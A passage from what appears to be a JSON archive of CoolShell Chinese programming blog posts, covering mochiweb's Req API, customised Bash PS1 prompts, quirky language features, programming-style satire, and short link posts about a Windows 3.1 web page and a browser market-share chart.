与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\nThe post [编程真难啊](https://coolshell.cn/articles/1391.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-30 mochiweb参数化模型Req相关功能.md",
    "content": "---\nlayout: post\ntitle: mochiweb参数化模型Req相关功能\ndate: 2009/9/30/ 12:0:34\nupdated: 2009/9/30/ 12:0:34\nstatus: publish\npublished: true\ntype: post\n---\n\n本文的笔记讲述如何从client请求中获取各种参数,如method, request path, headers, cookie等。\n\n\nMochiweb是Erlang实现的一个开源Web服务器，它设计的一个亮点就是他本身的Http请求的参数化模型。因此我们可以用OO的方式来理解它的相关用法。  \n\n它的实现在mochiweb\\_request模块.在mochiweb中,每个client请求其构造一个 Req 对象(注：这个“对象“只是便于理解的提法), Req 可以理解成 mochiweb\\_request 的一个参数化或实例化.  \n\n\n\n\n1.**Req:get(method)**-> ‘OPTIONS’ | ‘GET’ | ‘HEAD’ | ‘POST’ | ‘PUT’ | ‘DELETE’ | ‘TRACE’.  \n\n获取Http请求的方式.\n\n\n2.**Req:get(raw\\_path)** -> String().  \n\n获取raw\\_path.比如 http://www.nextim.cn/session/login?username=test#p,那/session/login?username=test#p就是这个raw\\_path.\n\n\n3.**Req:get(path)**-> String().  \n\n获取path.比如 http://www.nextim.cn/session/login?username=test#p,那/session/login就是这个raw\\_path.\n\n\n4.**Req:parse\\_qs()** -> [{strng(), string()}].  \n\n获取get参数.比如 http://www.nextim.cn/session/login?username=test#p,则返回[{“username”,”test”}].\n\n\n5.**Req:parse\\_post()** -> [{strng(), string()}].  \n\n确保post数据类型为: application/x-www-form-urlencoded, 否则不要调用(其内部会调用Req:recv\\_body),返回值类似Req:parse\\_qs().\n\n\n6.**Req:get(peer)**-> string().  \n\n返回值为client的ip\n\n\n7.**Req:get\\_header\\_value(Key)** -> undefined | string().  \n\n获取某个header,比如Key为”User-Agent”时，返回”Mozila…….”\n\n\n8.**Req:get\\_primary\\_header\\_value(Key)** -> undefined | string().  \n\n获取http headers中某个key对应的主值(value以分号分割).  \n\n举例: 假设 Content-Type 为 application/x-www-form-urlencoded; charset=utf8,则  \n\nReq:get\\_header\\_value(“content-type”) 返回 application/x-www-form-urlencoded\n\n\n9.**Req:get(headers)** -> dict().  \n\n获取所有headers  \n\n说明: 返回结果为stdlib/dict 数据结构,可以通过mochiweb\\_headers模块进行操作.  \n\n举例: 下面代码显示请求中所有headers:  \n\nHeaders = Req:get(headers),  \n\nlists:foreach(fun(Key, Value) ->  \n\nio:format(“~p : ~p ~n”, [Key, Value])  \n\nend,  \n\nmochiweb\\_headers:to\\_list(Headers)).\n\n\n10.**Req:parse\\_cookie()** -> [{string(), string()}].  \n\n解析Cookie\n\n\n11.**R****eq:get\\_cookie\\_value(Key)**-> string().  \n\n类似Req:get\\_header\\_value(Key)\n\n\n最近搜了下，发现用mochiweb的挺多的。但自己用的时候发现来不少疑难。以上文档皆由litaocheng总结提供。感谢所带来的帮助。希望这个对国内使用mochiweb的朋友们带来帮助。\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2111.html)[erlang打包独立环境](https://coolshell.cn/articles/2111.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/1313.html)[Erlang和Python互通](https://coolshell.cn/articles/1313.html)\n* [![一张关于操作系统的图](../wp-content/uploads/2009/10/operating-systems-150x150.jpg)](https://coolshell.cn/articles/1579.html)[一张关于操作系统的图](https://coolshell.cn/articles/1579.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![消费者的消费观](../wp-content/uploads/2010/09/1-150x150.png)](https://coolshell.cn/articles/2913.html)[消费者的消费观](https://coolshell.cn/articles/2913.html)\nThe post [mochiweb参数化模型Req相关功能](https://coolshell.cn/articles/1516.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-7 8个实用而有趣Bash命令提示行.md",
    "content": "---\nlayout: post\ntitle: 8个实用而有趣Bash命令提示行\ndate: 2009/9/7/ 9:44:22\nupdated: 2009/9/7/ 9:44:22\nstatus: publish\npublished: true\ntype: post\n---\n\n\n很多人都对过命令行提示的重要性不屑一顾，甚至是一点都不关心。但是我却一点都不这么认为，一个好的命令行提示可以改变你使用命令的方式。为此，我在internet上找到一些非常实用，优秀，并有趣的bash的命令行提示。下面我将我最喜欢使用的一些命令行提示罗列如下。\n\n\n注意  –  要使用下面这些提示，你可以拷贝粘贴这些以”PS1″打头的内容到你的终端上，为了使你的改变永久生效，还要将这些内容粘贴到你使用用户的~/.bashrc文件中去。\n\n\n\n### 1. 在成功执行的命令上增加一个笑脸符号\n\n\n这个命令提示行可能是这个命令行提示列表中最有趣的一个，但是它也依然有使用的价值。这个提示的想法是基于当你命令被成功执行，你将会得到一个笑脸作为你的命令行提示，一旦的命令执行失败，命令行提示将会换成一个哭脸。\n\n\n例子：\n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-happyface.jpg\n\n\n代码：\n\n\nPS1=”\\`if [ \\$? = 0 ]; then echo \\[\\e[33m\\]^_^\\[\\e[0m\\]; else echo \\[\\e[31m\\]O_O\\[\\e[0m\\]; fi\\`[\\u@\\h:\\w]\\\\$ “\n\n\n### **2.更改失败命令的颜色**\n\n\n下面这个命令行提示是我最喜欢的命令行之一。和上一个相似，这个命令行提示的颜色会在你最后一个命令运行失败后改变，而且这个命令行长路径会缩短输入命令的空间，这个命令提示还包含了bash 每个历史命令的命令号，以方便重新提取运行。\n\n\n例子：\n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-hurring.jpg\n\n\n代码：\n\n\nPS1=”\\[\\033[0;33m\\][\\!]\\`if [[ \\$? = \"0\" ]]; then echo \"\\\\[\\\\033[32m\\\\]\"; else echo \"\\\\[\\\\033[31m\\\\]\"; fi\\`[\\u.\\h: \\`if [[` |wc -c|tr -d ” “ `> 18 ]]; then echo \"\\\\W\"; else echo \"\\\\w\"; fi\\`]\\$\\[\\033[0m\\] “; echo -ne “\\033]0;`hostname -s`:`pwd`\\007″‘\n\n\n### 3. 多行提示\n\n\n如果你是喜欢命令行提示中包含完整信息的那一类人，那么下边就有一个适合于你的命令行提示。这个命令行提示信息中包含日期/时间，全路径，用户，主机，活动终端，甚至包含文件数和占用空间等。\n\n\n例子：\n\n\n  \nhttp://images.maketecheasier.com/2009/08/bashprompts-informant.jpg\n\n\n代码：\n\n\nPROMPT\\_COMMAND=’PS1=”\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed -e ‘s:/dev/::’): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed ‘s: ::g’) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed ‘s/total //’)b\\[\\033[0m\\] -> \\[\\033[0m\\]”‘\n\n\n \n\n\n### 4. 多颜色提示\n\n\n这个命令行提示除了使用了不同颜色来区别不同信息外，它并没有很特别的地方。就像你看到的那样，它提供了时间，用户名，主机名，当前目录。相当少的信息，但是非常地实用。\n\n\n例子：\n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-4.jpg\n\n\n代码：\n\n\nPS1=”\\[\\033[35m\\]\\t\\[\\033[m\\]-\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ “\n\n\n \n\n\n### 5.显示完整路径\n\n\n这是一个良好，简洁，最小的2行提示(加上顶上的空行)。在第一行你能得到一个全路径信息，在第二行是一个用户名。如果你对每个命令提示行的空行不爽的话，你只要移走第一个\\n就OK了\n\n\n例子：\n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-5.jpg\n\n\n代码：\n\n\nPS1=”[\\[\\033[32m\\]\\w]\\[\\033[0m\\]\\n\\[\\033[1;36m\\]\\u\\[\\033[1;33m\\]-> \\[\\033[0m\\]”\n\n\n \n\n\n### 6. 显示后台运行任务数\n\n\n这是另外的一个两行提示，但是这个两行提示具有更多的之前我们没有的信息。第一行是显示通常的user@host和全路径等信息。在第二行我们可以得到命令执行历史序号和一个后台运行任务个数信息。\n\n\n例子：\n\n\n \n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-61.jpg\n\n\n代码：\n\n\nPS1=’\\[\\e[1;32m\\]\\u@\\H:\\[\\e[m\\] \\[\\e[1;37m\\]\\w\\[\\e[m\\]\\n\\[\\e[1;33m\\]hist:\\! \\[\\e[0;33m\\] \\[\\e[1;31m\\]jobs:\\j \\$\\[\\e[m\\] ‘\n\n\n \n\n\n### 7. 显示路径信息\n\n\n这是一个非常眩的设计。我们可以从这个命令行提示信息的第一行中获取到用户/主机，运行任务数，和时间日期等信息。在第二行我们可以得到当前目录的文件数和他们占用的磁盘空间。\n\n\n例子：\n\n\n \n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-7.jpg\n\n\n代码:\n\n\nPS1=”\\n\\[\\e[30;1m\\]\\[\\016\\]l\\[\\017\\](\\[\\e[34;1m\\]\\u@\\h\\[\\e[30;1m\\])-(\\[\\e[34;1m\\]\\j\\[\\e[30;1m\\])-(\\[\\e[34;1m\\]\\@ \\d\\[\\e[30;1m\\])->\\[\\e[30;1m\\]\\n\\[\\016\\]m\\[\\017\\]-(\\[\\[\\e[32;1m\\]\\w\\[\\e[30;1m\\])-(\\[\\e[32;1m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed ‘s: ::g’) files, \\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed ‘s/total //’)b\\[\\e[30;1m\\])–> \\[\\e[0m\\]”\n\n\n### 8. My Prompt\n\n\n最后这个命令提示行是我个人最喜欢的使用的命令提示行。它是#7的一个修改，这个命令提示行只包含我最希望知道的信息，因此节省了它的占用空间。我偏爱两行风格，因为这样不仅可以让我看到全路径信息，而且不影响我命令输入的可视空间。\n\n\n例子:\n\n\nhttp://images.maketecheasier.com/2009/08/bashprompts-8.jpg\n\n\n代码:\n\n\nPS1=”\\n\\[\\e[32;1m\\](\\[\\e[37;1m\\]\\u\\[\\e[32;1m\\])-(\\[\\e[37;1m\\]jobs:\\j\\[\\e[32;1m\\])-(\\[\\e[37;1m\\]\\w\\[\\e[32;1m\\])\\n(\\[\\[\\e[37;1m\\]! \\!\\[\\e[32;1m\\])-> \\[\\e[0m\\]”\n\n\n如果你愿意共享你的命令提示行，请在将这些命令提示代码加在下面的评论中。\n\n\n\nPS1=”\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed\n\n\n-e ‘s:/dev/::’): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed ‘s: ::g’) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed ‘s/total //’)b\\[\\033[0m\\] -> \\[\\033[0m\\]”\n\n\n\n[出处](http://maketecheasier.com/8-useful-and-interesting-bash-prompts/2009/09/04 \"原文出处\")\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2987.html)[用脚本实现哄宝宝睡觉(Demo)](https://coolshell.cn/articles/2987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1824.html)[C语言和sh脚本的杂交代码](https://coolshell.cn/articles/1824.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1574.html)[bash 函数级重定向](https://coolshell.cn/articles/1574.html)\nThe post [8个实用而有趣Bash命令提示行](https://coolshell.cn/articles/1399.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-21 最为奇怪的程序语言的特性.md",
    "content": "---\nlayout: post\ntitle: 最为奇怪的程序语言的特性\ndate: 2010/1/21/ 0:16:18\nupdated: 2010/1/21/ 0:16:18\nstatus: publish\npublished: true\ntype: post\n---\n\n这些最为奇怪的程序语言的特性，来自stackoverflow.com，原贴在[这里](http://stackoverflow.com/questions/1995113?sort=votes&page=1)。我摘选了一些例子，的确是比较怪异，让我们一个一个来看看。 \n\n\n**1、C语言中的数组** \n\n\n在C/C++中，a[10] 可以写成 10[a] \n\n\n“Hello World”[i] 也可以写成 i[“Hello World”] \n\n\n这样的特性是不是很怪异？如果你想知道为什么的话，你可以看看本站的这篇文章——《[C语言的谜题](https://coolshell.cn/articles/945.html)》中的第12题。 \n\n\n**2、在Javascript中** \n\n\n ‘5’ + 3 的结果是：’53’  \n\n ‘5’ – 3 的结果是：2 \n\n\n**3、C/C++中的Trigraphs** \n\n\n\n```\nint main() {\n   cout << \"LOL??!\";\n}\n```\n\n上面的这段程序会输出： “LOL|”，这是因为 ??! 被转成了 | ，关于Trigraphs，下面有个表格： \n\n\n\n\n\n|  |  |\n| --- | --- |\n| ??= | # |\n| ??( | [ |\n| ??/ | \\ |\n| ??) | ] |\n| ??’ | ^ |\n| ??< | { |\n| ??! | | |\n| ??> | } |\n| ??- | ~ |\n\n\n  \n\n\n**4、JavaScript 的条件表** \n\n\n看到下面这个表，不难理解为什么Javascript程序员为什么痛苦了——《[Javascript程序员嘴最脏??](https://coolshell.cn/articles/1850.html)》 \n\n\n[javascript]”        ==   ‘0’           //false  \n\n0         ==   ”            //true  \n\n0         ==   ‘0’           //true  \n\nfalse     ==   ‘false’       //false  \n\nfalse     ==   ‘0’           //true  \n\nfalse     ==   undefined     //false  \n\nfalse     ==   null          //false  \n\nnull      ==   undefined     //true  \n\n\" \\t\\r\\n\" ==   0             //true[/javascript] \n\n\n**5、Java的Integer cache** \n\n\n\n```\nInteger foo = 1000;\nInteger bar = 1000;\n \nfoo <= bar; // true\nfoo >= bar; // true\nfoo == bar; // false\n \n//然后，如果你的 foo 和 bar 的值在 127 和 -128 之间（包括）\n//那么，其行为则改变了：\n \nInteger foo = 42;\nInteger bar = 42;\n \nfoo <= bar; // true\nfoo >= bar; // true\nfoo == bar; // true\n```\n\n为什么会这样呢？你需要了解一下Java Interger Cache，下面是相关的程序，注意其中的注释\n\n\n\n```\n/**\n     * Returns a <tt>Integer</tt> instance representing the specified\n     * <tt>int</tt> value.\n     * If a new <tt>Integer</tt> instance is not required, this method\n     * should generally be used in preference to the constructor\n     * <a href=\"mailto:{@link\">{@link</a> #Integer(int)}, as this method is likely to yield\n     * significantly better space and time performance by caching\n     * frequently requested values.\n     *\n     * @param  i an <code>int</code> value.\n     * @return a <tt>Integer</tt> instance representing <tt>i</tt>.\n     * @since  1.5\n     */\n    public static Integer valueOf(int i) {\n        if(i >= -128 && i <= IntegerCache.high)\n            return IntegerCache.cache[i + 128];\n        else\n            return new Integer(i);\n    }\n\n```\n\n**5、Perl的那些奇怪的变量**\n\n\n[perl]$.  \n\n$\\_  \n\n$\\_#  \n\n$$  \n\n$[  \n\n@\\_[/perl]\n\n\n其所有的这些怪异的变量请参看：<http://www.kichwa.com/quik_ref/spec_variables.html> \n\n\n**6、Java的异常返回**\n\n\n请看下面这段程序，你觉得其返回true还是false？\n\n\n\n```\ntry {\n    return true;\n} finally {\n    return false;\n}\n```\n\n在 javascript 和python下，其行为和Java的是一样的。 \n\n\n**7、C语言中的Duff device**\n\n\n下面的这段程序你能看得懂吗？这就是所谓的Duff Device，相当的怪异。\n\n\n\n```\nvoid duff_memcpy( char* to, char* from, size_t count ) {\n    size_t n = (count+7)/8;\n    switch( count%8 ) {\n    case 0: do{ *to++ = *from++;\n    case 7:     *to++ = *from++;\n    case 6:     *to++ = *from++;\n    case 5:     *to++ = *from++;\n    case 4:     *to++ = *from++;\n    case 3:     *to++ = *from++;\n    case 2:     *to++ = *from++;\n    case 1:     *to++ = *from++;\n            }while(--n>0);\n    }\n} \n```\n\n**8、PHP中的字符串当函数用**\n\n\nPHP中的某些用法也是很怪异的\n\n\n\n```\n$x = \"foo\";\nfunction foo(){ echo \"wtf\"; }\n$x();\n```\n\n**9、在C++中，你可以使用空指针调用静态函数**\n\n\n\n```\nclass Foo {\n  public:\n    static void bar() {\n      std::cout << \"bar()\" << std::endl;\n    }\n};\n \nint main(void) {\n  Foo * foo = NULL;\n  foo->bar(); //=> WTF!?\n  return 0; // Ok!\n}\n```\n\n呵呵。的确是挺怪异的。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript程序员嘴最脏??](../wp-content/uploads/2009/11/programming_language-150x150.jpg)](https://coolshell.cn/articles/1850.html)[Javascript程序员嘴最脏??](https://coolshell.cn/articles/1850.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\nThe post [最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-22 各种流行的编程风格.md",
    "content": "---\nlayout: post\ntitle: 各种流行的编程风格\ndate: 2010/1/22/ 0:39:24\nupdated: 2010/1/22/ 0:39:24\nstatus: publish\npublished: true\ntype: post\n---\n\n在过去的N年中，我遇到了很多使用囧然不同风格的开发者，下面是我所知道的一些，你还知道其它的吗？\n\n\n#### 散弹枪编程\n\n\n这种编程风格是一种开发者使用非常随意的方式对待代码。“嗯，这个方法调用出错了……那么我会试着把传出的参数从 **false** 变成 **true**!”，当然依然出错，于是我们的程序员会这样：“好吧，那我就注释掉整个方法吧”，或是其它更为随意的处理方式，直到最后让这个调用成功。或是被旁边的某个程序员指出一个正确的方法。\n\n\n如果我们把一个正规的程序员和一个撞大运的程序员放在一起做结地，那么，那个正规的程序可以马上变得发疯起来，并且，可以把正规的程序员的智商降到最低。两个撞大运的程序员不应该在一起做结对编程，这是因为他们破坏性的才能会造成的伤害会比只有一个还差。\n\n\n#### 撞大运编程\n\n\n这是一种比散弹枪编程要温和一些的编程方式，我相信这种方式可能会是大多数程序员都会使用的方式。这种编程方式经常出现于程序员并不确切知道他们在干什么，也不知道所写的程序的本质和实际，但是可以让程序工作起来。他们以一种撞大运的方式在写程序，某些时候，他们根本就不知道某个错误的原因，就开始稀里糊涂地修改代码。一旦出现问题，他们会用两条路：1）停下来，理解一下程序，找到出错的原因。2）使用散弹枪编程方式开始解决问题。\n\n\n测试驱动开发（Test Driven Development）是一种可以用来拯救上百万的撞大运编程的程序员。于是，他们有了一个更为NB的借口：只要我的程序通过测试了，你还有什么话好说？别骂我，测试驱动开发是一个不错的事物，其主要是用来控制撞大运开发所带来的问题。\n\n\n#### \nCargo-Cult 编程\n\n\n关于Cargo Cults 这个词儿来自二战期间的某些太平洋上小岛里的土著人。在战争期间，美国利用这些小岛作为太平洋战场上的补给站。他们在这些小岛上修建自己的飞机跑道以用来运输战争物资。而那些小岛上的土著人从来没有见过飞机，当他们看到飞机的时候，觉得相当的牛，可以为那些白人带来各种各样的物品和食物。当二战结束后，那些土著人仿照着修建了飞机跑道，并用竹子修建了塔台。然后就在那期望着有飞机为他们送来物品和食物。\n\n\nCargo Cult 编程是一种非常流行的编程方法，使用这种方法的程序员会学习其它编程高手的编程方法，虽然他们并不知道为什么高手们要那样做，但是他们觉得那样做可以让程序工作起来。举个例子，当时有大量的程序员在J2EE出现的第一年中过度地使用了EJBs和Entity Beans。\n\n\n#### 刻舟求剑编程\n\n\n刻舟求剑是一个很流行的寓言了。这种风格的编程在程序员的圈子里是非常常见的。比如，有一天，你发现了一个空指会的异常，于是你到了产生空指针异常的地方，简单地放上一个判断： `if (p != NULL)。`\n\n\n是的，这样的fix可以让你的程序工作起来，但你并没有真正地解决问题。你只不过是在你的船边记下了剑掉下去的位置，这样做只不过把问题隐藏起来，最终只会让你的程序的行为变得神出鬼没。你应该找到为什么指针会为空的原因，然后再解决这个问题。\n\n\n#### 设计模式驱动型编程\n\n\n正如这种编程的名字所说的，这种编程风格使用大量的设计模式，在你的程序中，四处都是设计模式，你的代码到处都是Facade，Observer ，Strategy，Adapter，等等等等。于是，你的程序要处理的业务逻辑被这些设计模式打乱得无法阅读，最后，也不知道是业务需求重来，还是设计模式重要，总之，实际业务需求的程序逻辑被各种设计模式混乱得不堪入目。\n\n\n#### 侦探型编程\n\n\n在解决一个Bug的时候，侦探型程序员会调查这个Bug的原因。然后，则调查引发这个BUG的原因的原因。再然后，其会分析修正代码后是否会导致其它代码失败的因果关系。再然后然后，他会使用文本搜索查找所有使用这个改动的代码，并继续查找更上一级的调用代码。最后，这个程序员会写下30个不同的情形的测试案例，就算这些测试案例和那个Bug没有什么关系，最最后，这个程序员有了足够多的信心，并且精确地修正了一个拼写错误。\n\n\n与此同时，其它一个正常的程序修正了其它5个Bug。\n\n\n#### 屠宰式编程\n\n\n使用这种风格的程序员，对重构代码有着一种难以控制的极端冲动。他们几乎会重构所有经手的代码。就算是在产品在Release的前夜，当他在修正几个拼写错误的bug同时，其会修改10个类，以及重构与这10个类有联系的另20个类，并且修改了代码的build脚本，以及5个部署描述符。\n\n\n文章：[来源](http://www.codeinstructions.com/2008/10/styles-of-programming.html)  \n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/5292.html)[弱爆程序员的特征值](https://coolshell.cn/articles/5292.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [各种流行的编程风格](https://coolshell.cn/articles/2058.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-25 一个Windows 3.1的Web网站.md",
    "content": "---\nlayout: post\ntitle: 一个Windows 3.1的Web网站\ndate: 2010/1/25/ 5:50:2\nupdated: 2010/1/25/ 5:50:2\nstatus: publish\npublished: true\ntype: post\n---\n\n啥也不说了，请大家围观下面这个网站吧。\n\n\n[**http://www.michaelv.org/**](http://www.michaelv.org/)\n\n\n打开这个网站，你会看到N年前DOS时代的Windows 3.1的界面，居然还可以扫雷，呵呵。真应了那句话——“只要是可以被Javascript实现的应用或程序，最终都会被Javascript所实现”。另，关于其它Web上更为疯狂的程序，可以查看本站的[这篇文章](https://coolshell.cn/articles/1932.html)。还有这个[在线的IDE](https://coolshell.cn/articles/1883.html)。下面是win3.1的截图：\n\n\n[![](../wp-content/uploads/2010/01/Win32web.jpg \"一个Windows3.1的web网站\")](https://coolshell.cn/wp-content/uploads/2010/01/Win32web.jpg) \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [一个Windows 3.1的Web网站](https://coolshell.cn/articles/2065.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-1-25 一个浏览器市场占有量的图.md",
    "content": "---\nlayout: post\ntitle: 一个浏览器市场占有量的图\ndate: 2010/1/25/ 6:24:18\nupdated: 2010/1/25/ 6:24:18\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网站是一个关于Web浏览器的市场占有量的图：\n\n\n<http://www.michaelvandaniker.com/labs/browserVisualization/>\n\n\n这个图是从2002年到2009年，也许未来还会更新，把鼠标移到每个弧上你可以看到那个浏览器的的占有量的百分比。如下图：\n\n\n[![](../wp-content/uploads/2010/01/browser_history.jpg \"浏览器市场占有量图\")](https://coolshell.cn/wp-content/uploads/2010/01/browser_history.jpg) \n\n\n这个图本来没有什么，但制作者把其做成了一个圆弧形，这样，看下来就有些不一样了。你还没有看出来？让我们来对比一下这个图和FireFox的logo吧。\n\n\n[![](../wp-content/uploads/2010/01/firefoxlogo.jpg \"firefox的logo比较\")](https://coolshell.cn/wp-content/uploads/2010/01/firefoxlogo.jpg)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* 